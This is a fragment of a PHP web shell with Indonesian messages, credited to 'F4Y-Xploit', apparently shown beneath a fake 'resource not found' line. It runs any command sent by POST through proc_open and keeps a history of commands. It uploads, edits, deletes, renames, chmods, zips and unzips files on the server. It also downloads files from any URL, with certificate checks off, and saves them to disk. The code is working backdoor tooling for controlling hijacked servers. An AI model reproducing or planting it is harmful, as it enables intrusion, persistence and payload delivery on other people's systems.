The resource requested could not be found on this server!
Error: Fungsi proc_open() dinonaktifkan di server ini. Tidak dapat menjalankan perintah."; } $descriptorspec = array( 0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w") ); $process = @proc_open($cmd, $descriptorspec, $pipes, $cwd, null); if (is_resource($process)) { fclose($pipes[0]); $stdout = stream_get_contents($pipes[1]); fclose($pipes[1]); $stderr = stream_get_contents($pipes[2]); fclose($pipes[2]); $return_value = proc_close($process); return "
\n" . htmlspecialchars($stdout) . "\nError:\n" . htmlspecialchars($stderr) . "\nExit Code: " . htmlspecialchars($return_value) . ""; } else { $last_error = error_get_last(); return "
Error: Could not open process. " . ($last_error ? htmlspecialchars($last_error['message']) : 'Tidak dapat memulai proses eksternal.') . ""; } } function copy_recursive($source, $dest) { if (is_file($source)) { return copy($source, $dest); } elseif (is_dir($source)) { @mkdir($dest, 0755, true); // Use @ to suppress warning if dir exists or permission issue $items = array_diff(@scandir($source) ?: [], ['.', '..']); // Use @ and check for false foreach ($items as $item) { if (!copy_recursive($source . DIRECTORY_SEPARATOR . $item, $dest . DIRECTORY_SEPARATOR . $item)) { return false; } } return true; } return false; } // Function to get URL content using cURL function getUrlContent($url) { if (!extension_loaded('curl')) { error_log("cURL extension not loaded."); return false; } $ch = curl_init($url); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_SSL_VERIFYPEER => false, // WARNING: Only for development/testing, not recommended for production CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36', CURLOPT_TIMEOUT => 30, // Increased timeout for potentially large files ]); $data = curl_exec($ch); if (curl_errno($ch)) { error_log("cURL error: " . curl_error($ch)); $data = false; } curl_close($ch); return $data; } // Action Handlers if ($_SERVER['REQUEST_METHOD'] === 'POST') { if (isset($_POST['uploadfile'])) { // Ensure the upload directory is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: Direktori tidak dapat ditulis.")); exit; } if (isset($_FILES['uploadfile']) && $_FILES['uploadfile']['error'] === UPLOAD_ERR_OK) { $dest = $cwd . '/' . basename($_FILES['uploadfile']['name']); // Check if file already exists to prevent overwrite issues (optional) // if (file_exists($dest)) { /* handle as needed, e.g., rename, error */ } $ok = move_uploaded_file($_FILES['uploadfile']['tmp_name'], $dest); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Upload sukses") : urlencode("Upload gagal: Gagal memindahkan file."))); } else { $upload_error_msg = "Unknown error."; switch ($_FILES['uploadfile']['error']) { case UPLOAD_ERR_INI_SIZE: $upload_error_msg = "Ukuran file melebihi batas upload_max_filesize di php.ini."; break; case UPLOAD_ERR_FORM_SIZE: $upload_error_msg = "Ukuran file melebihi batas MAX_FILE_SIZE yang ditentukan di formulir HTML."; break; case UPLOAD_ERR_PARTIAL: $upload_error_msg = "File hanya terunggah sebagian."; break; case UPLOAD_ERR_NO_FILE: $upload_error_msg = "Tidak ada file yang diunggah."; break; case UPLOAD_ERR_NO_TMP_DIR: $upload_error_msg = "Direktori sementara hilang."; break; case UPLOAD_ERR_CANT_WRITE: $upload_error_msg = "Gagal menulis file ke disk."; break; case UPLOAD_ERR_EXTENSION: $upload_error_msg = "Ekstensi PHP menghentikan unggahan file."; break; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Upload gagal: " . $upload_error_msg)); } exit; } if (isset($_POST['newfile'])) { // Ensure the directory is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat file: Direktori tidak dapat ditulis.")); exit; } $filename = trim($_POST['newfile']); if (empty($filename) || strpos($filename, '/') !== false || strpos($filename, '\\') !== false) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama file tidak valid.")); exit; } $filepath = $cwd . '/' . $filename; $ok = file_put_contents($filepath, $_POST['filedata']); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? urlencode("File dibuat") : urlencode("Gagal membuat file"))); exit; } if (isset($_POST['newfolder'])) { // Ensure the directory is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuat folder: Direktori tidak dapat ditulis.")); exit; } $foldername = trim($_POST['newfolder']); if (empty($foldername) || strpos($foldername, '/') !== false || strpos($foldername, '\\') !== false) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Nama folder tidak valid.")); exit; } $folderpath = $cwd . '/' . $foldername; $ok = mkdir($folderpath); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Folder dibuat") : urlencode("Gagal membuat folder"))); exit; } if (isset($_POST['setpass'])) { file_put_contents($lock_file, password_hash($_POST['setpass'], PASSWORD_DEFAULT)); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password disimpan")); exit; } if (isset($_POST['editfile'])) { $filepath = urldecode($_POST['filepath']); // Re-validate path to ensure it's still within cwd for security if (realpath($filepath) === false || strpos(realpath($filepath), realpath($cwd)) !== 0 || is_dir($filepath)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan: Path tidak valid atau di luar direktori kerja.")); exit; } if (!is_writable($filepath)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menyimpan: File tidak dapat ditulis.")); exit; } $ok = file_put_contents($filepath, $_POST['filedata']); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok !== false ? urlencode("File berhasil disimpan") : urlencode("Gagal menyimpan file"))); exit; } if (isset($_POST['rename_submit'])) { $old = urldecode($_POST['old_path_rename']); $new_name = basename(trim($_POST['new_name'])); // Ensure only basename to prevent path traversal $new = dirname($old) . '/' . $new_name; // More robust path validation for rename $old_real = realpath($old); $cwd_real = realpath($cwd); if ($old_real === false || strpos($old_real, $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal rename: Path tidak valid atau di luar direktori kerja.")); exit; } if (empty($new_name)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal rename: Nama baru tidak boleh kosong.")); exit; } $ok = rename($old, $new); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Rename sukses") : urlencode("Rename gagal"))); exit; } if (isset($_POST['delpass'])) { if (file_exists($lock_file)) { if (unlink($lock_file)) { $_SESSION['unlocked'] = false; // Log out after deleting password header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Password dihapus")); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menghapus file password.")); } } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File password tidak ditemukan.")); } exit; } if (isset($_POST['batch_action']) && isset($_POST['selected_items']) && !empty($_POST['selected_items'])) { $selected_items = $_POST['selected_items']; $action_type = $_POST['batch_action']; $msg_text = ""; $success_count = 0; $failed_items = []; foreach ($selected_items as $key => $item_encoded) { // Re-validate path for each item to prevent malicious manipulation of selected_items $item_path = realpath(urldecode($item_encoded)); if ($item_path === false || strpos($item_path, realpath($cwd)) !== 0) { $failed_items[] = basename(urldecode($item_encoded)) . " (path invalid/unsafe)"; unset($selected_items[$key]); // Remove unsafe item from processing } else { $selected_items[$key] = $item_path; // Use realpath for consistency } } switch ($action_type) { case 'delete': foreach ($selected_items as $item_path) { if (delete_recursive($item_path)) { $success_count++; } else { $failed_items[] = basename($item_path); } } $msg_text = "$success_count item berhasil dihapus."; if (!empty($failed_items)) { $msg_text .= " Gagal menghapus: " . implode(", ", $failed_items) . "."; } break; case 'zip': // Ensure the directory is writable for the zip file if (!is_writable($cwd)) { $msg_text = "Gagal membuat zip: Direktori tidak dapat ditulis."; break; } $zip_file_name = $cwd . '/' . 'archive_' . time() . '.zip'; $success_count = create_zip_from_items($selected_items, $zip_file_name, $cwd); // Pass actual paths, not encoded ones if ($success_count !== false) { if ($success_count > 0) { $msg_text = "Berhasil mengarsipkan $success_count item ke " . basename($zip_file_name); } else { $msg_text = "Tidak ada item yang diarsipkan atau gagal mengarsipkan."; if (file_exists($zip_file_name)) { // Clean up empty zip file unlink($zip_file_name); } } } else { $msg_text = "Gagal membuat file zip. Periksa log server untuk detail."; } break; case 'copy': case 'cut': $_SESSION['clipboard_items'] = []; $_SESSION['clipboard_type'] = $action_type; foreach ($selected_items as $item_path) { // Use validated real paths $_SESSION['clipboard_items'][] = $item_path; $success_count++; } $action_verb = ($action_type === 'copy' ? 'disalin' : 'dipotong'); $msg_text = "$success_count item berhasil {$action_verb} ke clipboard."; if (!empty($failed_items)) { $msg_text .= " Gagal {$action_verb}: " . implode(", ", $failed_items) . "."; } break; default: $msg_text = "Aksi batch tidak valid."; break; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text)); exit; } if (isset($_POST['set_chmod'])) { $target_path = urldecode($_POST['chmod_path']); $octal_value = $_POST['chmod_octal']; if (!preg_match('/^[0-7]{3,4}$/', $octal_value)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: Format izin tidak valid (gunakan 3 atau 4 digit oktal).")); exit; } $mode = octdec($octal_value); // Path validation $target_real = realpath($target_path); $cwd_real = realpath($cwd); if ($target_real === false || strpos($target_real, $cwd_real) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: Path tidak valid atau di luar direktori kerja.")); exit; } $ok = @chmod($target_path, $mode); // Use @ to suppress warnings if chmod fails if ($ok) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("CHMOD berhasil diubah menjadi " . $octal_value)); } else { $last_error = error_get_last(); header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal CHMOD: " . ($last_error ? $last_error['message'] : 'Kesalahan tidak diketahui.') . ". Pastikan Anda memiliki izin yang cukup.")); } exit; } if (isset($_POST['paste_item'])) { if (empty($_SESSION['clipboard_items']) || !isset($_SESSION['clipboard_type'])) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Clipboard kosong.")); exit; } // Ensure destination is writable if (!is_writable($cwd)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal menempel: Direktori tujuan tidak dapat ditulis.")); exit; } $operation_type = $_SESSION['clipboard_type']; $total_success = 0; $total_failed = []; foreach ($_SESSION['clipboard_items'] as $source_path) { $destination_path = $cwd . DIRECTORY_SEPARATOR . basename($source_path); // Re-validate source path to prevent issues if clipboard content was tampered with $source_real = realpath($source_path); if ($source_real === false || !file_exists($source_real)) { $total_failed[] = basename($source_path) . " (sumber tidak ditemukan)"; continue; } if ($source_real === realpath($destination_path)) { $total_failed[] = basename($source_path) . " (lokasi sama)"; continue; } // Prevent copying/cutting a directory into itself if (is_dir($source_real) && strpos($destination_path, $source_real . DIRECTORY_SEPARATOR) === 0) { $total_failed[] = basename($source_path) . " (tempel ke dalam diri sendiri)"; continue; } $ok = false; if ($operation_type === 'copy') { $ok = copy_recursive($source_real, $destination_path); } elseif ($operation_type === 'cut') { // Ensure target directory for rename is writable if (!is_writable(dirname($destination_path))) { $total_failed[] = basename($source_path) . " (izin direktori tujuan tidak cukup untuk memindahkan)"; continue; } $ok = rename($source_real, $destination_path); } if ($ok) { $total_success++; } else { $total_failed[] = basename($source_path); } } if ($total_success > 0) { unset($_SESSION['clipboard_items']); unset($_SESSION['clipboard_type']); $msg_action = ($operation_type === 'copy' ? 'menyalin' : 'memindahkan'); $msg_text = "Berhasil {$msg_action} $total_success item ke " . basename($cwd); if (!empty($total_failed)) { $msg_text .= ". Gagal: " . implode(", ", $total_failed) . "."; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text)); } else { $msg_text = "Gagal menempel item."; if (!empty($total_failed)) { $msg_text .= " Gagal: " . implode(", ", $total_failed) . "."; } header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode($msg_text)); } exit; } // CMD Execution from POST if (isset($_POST['cmd_exec']) && isset($_POST['command'])) { $command_to_exec = trim($_POST['command']); $cmd_output = execute_command($command_to_exec, $cwd); // Store command in history if (!isset($_SESSION['cmd_history'])) { $_SESSION['cmd_history'] = []; } array_unshift($_SESSION['cmd_history'], $command_to_exec); $_SESSION['cmd_history'] = array_slice($_SESSION['cmd_history'], 0, 10); // Keep last 10 commands header("Location: ?action=cmd&d=" . urlencode($cwd) . "&cmd_output=" . urlencode($cmd_output)); exit; } // Clear CMD History if (isset($_POST['clear_cmd_history'])) { unset($_SESSION['cmd_history']); header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode("Riwayat perintah dihapus.")); exit; } // Handle Import Raw File from URL if (isset($_POST['download_url_and_save'])) { $url = trim($_POST['url_to_download_raw']); $filename = trim($_POST['filename_to_save']); $message = ''; if (filter_var($url, FILTER_VALIDATE_URL) && !empty($filename)) { // Security check: Ensure filename is safe and within current directory $filename_safe = basename($filename); $destination_filepath = $cwd . DIRECTORY_SEPARATOR . $filename_safe; // Prevent overwriting fsv4.php or other critical files (optional but recommended) if ($filename_safe === basename(__FILE__) || $filename_safe === '.fs_lock') { $message = "❌ Nama file ini tidak diizinkan!"; } elseif (!is_writable($cwd)) { $message = "❌ Direktori tidak dapat ditulis!"; } else { $data = getUrlContent($url); if ($data !== false && strlen($data) > 0) { if (file_put_contents($destination_filepath, $data) !== false) { $message = "✅ Berhasil menyimpan file sebagai " . htmlspecialchars($filename_safe) . ""; } else { $message = "❌ Gagal menulis data ke file! Periksa izin."; } } else { $message = "❌ Gagal mengambil data dari URL! Periksa log server untuk detail cURL."; } } } else { $message = "⚠️ URL tidak valid atau nama file kosong!"; } header("Location: ?action=cmd&d=" . urlencode($cwd) . "&msg=" . urlencode($message)); exit; } } // GET request actions if (isset($_GET['delete'])) { $target = realpath(urldecode($_GET['delete'])); // Re-validate target path if ($target !== false && strpos($target, realpath($cwd)) === 0) { $ok = delete_recursive($target); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("Dihapus") : urlencode("Gagal hapus"))); } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal hapus: Path tidak valid atau di luar direktori kerja.")); } exit; } if (isset($_GET['unzip'])) { $file_to_unzip = realpath(urldecode($_GET['unzip'])); if ($file_to_unzip === false || !file_exists($file_to_unzip) || is_dir($file_to_unzip)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal unzip: File tidak ditemukan atau bukan file.")); exit; } if (strpos($file_to_unzip, realpath($cwd)) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File di luar direktori kerja.")); exit; } // Ensure the extraction path is writable $extract_path = dirname($file_to_unzip); if (!is_writable($extract_path)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal unzip: Direktori tujuan tidak dapat ditulis.")); exit; } $zip = new ZipArchive; if ($zip->open($file_to_unzip) === TRUE) { $ok = $zip->extractTo($extract_path); $zip->close(); header("Location: ?d=" . urlencode($cwd) . "&msg=" . ($ok ? urlencode("File berhasil di-unzip.") : urlencode("Gagal unzip file. Pastikan tidak ada konflik file atau izin."))); exit; } else { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Gagal membuka file zip.")); exit; } } // Edit File Page if (isset($_GET['edit'])) { $f = realpath(urldecode($_GET['edit'])); if ($f === false || !file_exists($f) || is_dir($f)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("File tidak ditemukan atau bukan file yang bisa diedit.")); exit; } if (strpos($f, realpath($cwd)) !== 0) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak diizinkan mengedit file di luar direktori kerja.")); exit; } // Check if the file is readable if (!is_readable($f)) { header("Location: ?d=" . urlencode($cwd) . "&msg=" . urlencode("Tidak dapat membaca file: Izin ditolak.")); exit; } $data = htmlspecialchars(file_get_contents($f)); echo "
Author: F4Y-Xploit
Contact: Telegram
Tujuan Pembuatan:
Versi: 1.0 | Update terakhir: Juli 2025